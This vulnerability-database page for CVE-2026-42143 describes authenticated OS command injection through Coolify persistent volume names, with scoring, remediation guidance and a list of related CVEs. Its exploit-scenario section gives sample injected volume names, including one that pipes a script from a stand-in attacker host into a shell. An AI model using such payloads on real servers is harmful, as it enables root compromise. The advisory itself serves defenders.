Skip to main content

Coolify CVE-2026-42143

| EUVDEUVD-2026-41993 HIGH
OS Command Injection (CWE-78)
2026-07-07 GitHub_M
8.8
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate as Coolify member
  2. Delivery
    Create volume with malicious name
  3. Exploit
    Trigger volume operation
  4. Execution
    Shell metacharacters interpolated unescaped
  5. Persist
    Injected command runs as root
  6. Impact
    Full server compromise

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an authenticated Coolify member account (CVSS PR:L) that can set or influence a persistent volume name, and the injected payload only fires when a volume operation is triggered on a managed server - the specific feature is user-controlled persistent volume names being interpolated into shell commands without escaping. No user interaction and no special non-default configuration are needed beyond having managed servers with volume operations in use. The principal limiting factor is the authentication requirement: an anonymous internet attacker cannot exploit this directly, so realistic risk is confined to deployments that grant member accounts to less-trusted users (teams, multi-tenant, or client-facing installs); single-operator instances are far less exposed.

Impact

The signals are broadly consistent and point to a genuine priority for anyone running Coolify with multiple or semi-trusted members. The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, 8.8) indicates remote, low-complexity exploitation needing only an authenticated member account and no user interaction, with full confidentiality/integrity/availability impact - and the real-world impact is arguably understated by S:U, since a low-privileged app member gains root on managed infrastructure. Mitigating the urgency: this is NOT in CISA KEV and there is no public POC referenced, so it is 'no public exploit identified at time of analysis' rather than actively exploited; EPSS was not provided. SSVC-style reasoning: exploitation is technically simple and the technical impact is total (root RCE), but it is gated behind holding a valid member account, so it is not exploitable by a fully anonymous internet attacker. The main uncertainty is the trust level of 'member' accounts in a given deployment - solo self-hosters face little risk, whereas multi-tenant or team installations should treat this as high priority.

Exploit ScenarioDerived

An authenticated Coolify member with permission to define a persistent volume creates one named something like myvol$(id>/tm/pwned) or myvol;curl attacker.sh|sh; when a normal volume operation is later triggered, Coolify interpolates the name into a shell command and executes the injected payload as root on the managed server. No public POC is referenced, but the low attack complexity and no-user-interaction vector make reliable exploitation straightforward for any member.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 07, 2026

OS command injection in Coolify (self-hosted server/application/database management platform) versions prior to 4.0.0-beta.471 allows an authenticated low-privileged member to run arbitrary commands as root on managed servers by embedding shell metacharacters in persistent volume names, which are interpolated unescaped into shell commands during volume operations. The CVSS 3.1 score is 8.8 (High) with a network vector requiring only low privileges. No public exploit identified at time of analysis; an upstream fix commit and a tagged patched release exist.

RemediationAI

Upgrade to the vendor-released patched version 4.0.0-beta.471 or later (fix commit d2064dd4998694cda2eabd00149f7c4d1e94c699), per advisory GHSA-6pmw-6m96-4v4m (https://github.com/coollabsio/coolify/security/advisories/GHSA-6pmw-6m96-4v4m) and release https://github.com/coollabsio/coolify/releases/tag/v4.0.0-beta.471. If you cannot patch immediately, reduce exposure by restricting who holds member accounts and removing untrusted or unnecessary team members, since exploitation requires an authenticated member - the trade-off is reduced collaboration. As an interim control, avoid creating or modifying persistent volumes through affected accounts and audit existing volume names for shell metacharacters, and place the Coolify dashboard behind network restrictions (VPN/allow-listed IPs) so only trusted operators can reach the UI/API; note these are stopgaps that do not fix the underlying unescaped interpolation and should not substitute for upgrading.

Affected VersionsENISA

coolify < 4.0.0-beta.471

Affected Packages

euvd coolify fix: 4.0.0-beta.471

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Coolify is an open-source, self-hostable Platform-as-a-Service (a Heroku/Netlify alternative) that orchestrates Docker containers, applications, and databases across one or more managed servers, typically issuing commands over SSH with root-level privileges on those targets. The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command): user-supplied persistent volume names are concatenated directly into shell command strings (e.g. docker volume operations) without escaping or allow-list validation, so metacharacters such as ;, |, $(), backticks, or & break out of the intended argument and are executed by the shell. The single affected product is coollabsio/coolify (CPE cpe:2.3:a:coollabsio:coolify), and because volume operations run in Coolify's privileged execution context, injected commands run as root on the managed host.

Know when Coolify gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 8.8 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 8.8 HIGH

Network-reachable UI/API with low-complexity injection needing an authenticated member (PR:L), no user interaction, yielding root command execution for full C/I/A impact; scope kept U to match the vulnerable managed host.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

1
Patch available
Jul 07, 2026 - 05:01 EUVD

DescriptionCVE.org

Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.471, user-controlled persistent volume names are interpolated into shell commands executed on managed servers without escaping or validation, allowing an authenticated member to inject shell metacharacters and execute commands as root when volume operations are triggered. This issue appears to be fixed in version 4.0.0-beta.471.

Executive ViewAI

Why It Matters

Coolify, a self-hosted infrastructure management platform, contains a privilege escalation vulnerability affecting versions prior to 4.0.0-beta.471 that allows authenticated low-privileged members to execute arbitrary commands with root privileges on managed servers. Organizations using Coolify with multi-user or delegated administration models face direct risk of infrastructure takeover through insider compromise or credential misuse. Immediate patching is required to prevent unauthorized control of production systems and data access.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.4%
Top 65% exploitable
Prevalence
Medium
popular open-source self-hosted PaaS, sizable but not ubiquitous footprint
Social Media
2
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2026-57498 CRITICAL POC
9.6 Jun 29

Cross-team authorization bypass in Coolify (open-source self-hosted PaaS) before 4.0.0-beta.474 allows an authenticated,

CVE-2025-34161 CRITICAL POC
9.4 Aug 27

Coolify versions prior to v4.0.0-beta.420.7 are vulnerable to a remote code execution vulnerability in the project deplo

CVE-2025-34159 CRITICAL POC
9.4 Aug 27

Coolify versions prior to v4.0.0-beta.420.6 are vulnerable to a remote code execution vulnerability in the application d

CVE-2025-64424 CRITICAL POC
9.4 Jan 05

Command injection in Coolify up to and including v4.0.0-beta.434 lets any authenticated low-privileged 'member' execute

CVE-2025-59156 CRITICAL POC
9.4 Jan 05

Remote code execution on the host OS is possible through Coolify's application deployment workflow prior to version 4.0.

CVE-2025-66211 CRITICAL POC
9.4 Dec 23

Authenticated command injection in Coolify's PostgreSQL initialization-script filename handling allows users with applic

CVE-2025-66210 CRITICAL POC
9.4 Dec 23

Coolify versions prior to 4.0.0-beta.451 pass user-supplied database names unsanitized into shell commands executed via

CVE-2025-66213 CRITICAL POC
9.4 Dec 23

Authenticated Coolify users who hold application or service management permissions can execute arbitrary commands as roo

CVE-2025-66212 CRITICAL POC
9.4 Dec 23

Authenticated command injection in Coolify before 4.0.0-beta.451 lets users with application or service management permi

CVE-2025-59158 CRITICAL POC
9.4 Jan 05

Stored cross-site scripting in Coolify versions up to and including v4.0.0-beta.420.6 lets an authenticated low-privileg

CVE-2026-34594 HIGH POC
8.8 Jun 29

Authenticated OS command injection in Coolify before 4.0.0-beta.471 lets any user holding destination management permiss

CVE-2026-34597 HIGH POC
8.8 Jun 29

Authenticated remote code execution in Coolify (self-hosted PaaS) before 4.0.0-beta.470 lets a low-privileged authentica

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy